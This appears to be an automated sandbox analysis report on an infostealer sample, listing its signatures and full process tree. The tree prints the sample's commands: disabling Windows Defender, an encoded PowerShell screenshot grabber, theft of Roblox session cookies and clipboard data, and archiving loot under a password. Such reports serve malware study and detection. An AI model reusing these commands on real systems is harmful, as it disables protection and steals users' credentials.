Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    93s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/12/2024, 02:05

General

  • Target

    Craxs.exe/Built.exe

  • Size

    5.8MB

  • MD5

    eafb71b1f8ff22f4b88c677c17a4159a

  • SHA1

    e3fb7830e0ed8054c790679454f582248c373b51

  • SHA256

    6bed48fba23d3fbb1cc02a1225abd44fa6d5d85a1f7b12768088fcfb5352ceed

  • SHA512

    c530202f3393f051c11e379863a996bede0b27ae432ade1c87625d2a9b104c9cf8322d62fab64a41987c5f6f8646d1f1023b07a745ea982289df43040221882e

  • SSDEEP

    98304:2nzmDSr7xRHtJQi9UWvGfqD8WOxfmjaa15uXaDvdCK/blzFS03iw7FwXR6nret+1:2nzmD6xRHvUWvozWOxu9kXwvdbDlA03n

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 16 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • UPX packed file 63 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2104
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3344
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3244
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1008
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:852
        • C:\Windows\system32\reg.exe
          REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
          4⤵
            PID:4440
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3788
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
            4⤵
              PID:2348
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4608
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              • Suspicious use of AdjustPrivilegeToken
              PID:1236
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1536
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path win32_VideoController get name
              4⤵
              • Detects videocard installed
              PID:1772
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe""
            3⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:1124
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Craxs.exe\Built.exe"
              4⤵
              • Views/modifies file attributes
              PID:3116
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍‍ .scr'"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3748
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‍‍ .scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5084
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:760
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              4⤵
              • Enumerates processes with tasklist
              PID:4144
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
              PID:4356
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:2324
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:3368
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:3724
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Clipboard Data
                  PID:4284
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Clipboard Data
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3312
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:4300
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:2524
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:4584
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:1440
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:1252
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          4⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:2244
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        3⤵
                          PID:3428
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            4⤵
                            • Gathers system information
                            PID:384
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                          3⤵
                            PID:1164
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4704
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\p1mxckxg\p1mxckxg.cmdline"
                                5⤵
                                  PID:1392
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD63C.tmp" "c:\Users\Admin\AppData\Local\Temp\p1mxckxg\CSC621405D1613942CABB40E61974DE5279.TMP"
                                    6⤵
                                      PID:2088
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                3⤵
                                  PID:2552
                                  • C:\Windows\system32\reg.exe
                                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                    4⤵
                                      PID:2020
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:3028
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:964
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                        3⤵
                                          PID:1856
                                          • C:\Windows\system32\attrib.exe
                                            attrib -r C:\Windows\System32\drivers\etc\hosts
                                            4⤵
                                            • Drops file in Drivers directory
                                            • Views/modifies file attributes
                                            PID:1536
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                          3⤵
                                            PID:4040
                                            • C:\Windows\system32\attrib.exe
                                              attrib +r C:\Windows\System32\drivers\etc\hosts
                                              4⤵
                                              • Drops file in Drivers directory
                                              • Views/modifies file attributes
                                              PID:2276
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                                            3⤵
                                              PID:4568
                                              • C:\Windows\system32\tree.com
                                                tree /A /F
                                                4⤵
                                                  PID:3680
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                3⤵
                                                  PID:3700
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist /FO LIST
                                                    4⤵
                                                    • Enumerates processes with tasklist
                                                    PID:2820
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  3⤵
                                                    PID:2272
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      4⤵
                                                        PID:5012
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      3⤵
                                                        PID:2592
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:3140
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          3⤵
                                                            PID:4772
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:4168
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:1692
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:4944
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:2244
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:3376
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:784
                                                                    • C:\Windows\system32\getmac.exe
                                                                      getmac
                                                                      4⤵
                                                                        PID:5016
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI5362\rar.exe a -r -hp"scher3169" "C:\Users\Admin\AppData\Local\Temp\O2HlW.zip" *"
                                                                      3⤵
                                                                        PID:2316
                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI5362\rar.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\_MEI5362\rar.exe a -r -hp"scher3169" "C:\Users\Admin\AppData\Local\Temp\O2HlW.zip" *
